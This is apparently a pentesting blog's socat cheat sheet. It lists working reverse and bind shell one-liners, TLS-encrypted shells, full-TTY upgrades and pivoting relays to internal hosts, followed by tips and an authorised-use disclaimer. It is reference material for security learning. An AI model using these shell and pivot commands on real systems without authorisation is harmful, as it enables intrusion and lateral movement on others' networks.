root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat socat.md
// Shells & Pivoting

socat

21 Jul 2026 · 6 min read
socat (SOcket CAT) is a command-line utility that opens two bidirectional data streams and wires them together. It goes far beyond netcat: it speaks TCP, UDP, Unix sockets, TLS, PTYs and files, which makes it the swiss army knife for relays, tunnels and shells in pentesting.

What sets socat apart is that each endpoint is an independent address with its own options, and the tool simply bridges the two. Grasping that symmetry is the key: a truly interactive shell does not come from the socket itself but from allocating a PTY (pty, raw, echo=0) on the right side so the remote terminal behaves like a local one.

1. Beginner level — relays, listeners and shells

SOCAT cheat sheet — Beginner
CommandWhat it does
socat - TCP:<ip>:80Connect to a TCP port
socat TCP-LISTEN:4444 -Basic listener
socat TCP-LISTEN:4444,reuseaddr,fork -Persistent, reusable listener
socat TCP:<ip>:4444 EXEC:/bin/bashReverse shell
socat TCP-LISTEN:4444,reuseaddr EXEC:/bin/bashBind shell
socat FILE:`tty`,raw,echo=0 TCP:<ip>:4444Reverse shell with TTY (client)
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0Listener with a full TTY
socat -u FILE:archivo TCP:<ip>:4444Send a file
socat -u TCP-LISTEN:4444 FILE:out,createReceive a file
socat TCP-LISTEN:8080,fork TCP:<ip>:80Port forwarding (port forward)
socat UDP-LISTEN:53 -UDP listener
socat readline TCP:<ip>:4444Client with history (readline)
socat -d -d TCP-LISTEN:4444 -Increase the debug level
socat -hShow the help

2. Advanced level — TLS shells and pivoting

SOCAT cheat sheet — Advanced
CommandWhat it does
socat OPENSSL-LISTEN:4444,cert=c.pem,verify=0 EXEC:/bin/bashEncrypted bind shell (TLS)
socat OPENSSL:<ip>:4444,verify=0 EXEC:/bin/bashEncrypted reverse shell
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.10.10.5:80Pivot: forward to an internal host
socat TCP-LISTEN:5985,fork TCP:dc01:5985WinRM relay through the pivot
socat file:`tty`,raw,echo=0 tcp-listen:4444Upgrade a shell to a full TTY
socat EXEC:'bash -li',pty,stderr,setsid,sigint,sane TCP:<ip>:4444Perfect interactive reverse shell
socat TCP4-LISTEN:4444,fork OPENSSL:<ip>:443,verify=0Forwarded TLS tunnel
socat -v TCP-LISTEN:8080,fork TCP:<ip>:80Proxy that shows the traffic
socat TCP-LISTEN:4444,fork,bind=<ip> EXEC:/bin/bashBind the listening interface
socat UDP-LISTEN:4444,fork UDP:<ip>:4444UDP forwarding
socat PTY,link=/tmp/ttyV0 TCP:<ip>:4444Create a linked virtual PTY
socat STDIO TCP:<ip>:4444,connect-timeout=5Connection timeout
socat TCP-LISTEN:4444,fork,max-children=2 EXEC:/bin/bashLimit concurrent connections
socat TCP-LISTEN:2222,fork TCP:10.10.10.5:22Forward internal SSH to the attacker

3. Details people miss

  • socat is almost never preinstalled on the target: upload a static binary or fall back to nc/bash if you cannot drop it.
  • The two-command full-TTY method (listener with FILE:`tty`,raw,echo=0 and client with pty,stderr,setsid,sane) gives you a fully interactive shell without the manual stty tricks.
  • For encrypted shells, the cert=c.pem file must contain the private key and the certificate concatenated in the same PEM; generate it with openssl before you start listening.
  • verify=0 disables TLS certificate validation: it encrypts the channel but does not protect against MITM, so use it only in controlled environments.
  • reuseaddr avoids the "Address already in use" error when restarting a listener; fork is essential to serve more than one connection or keep the listener alive.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.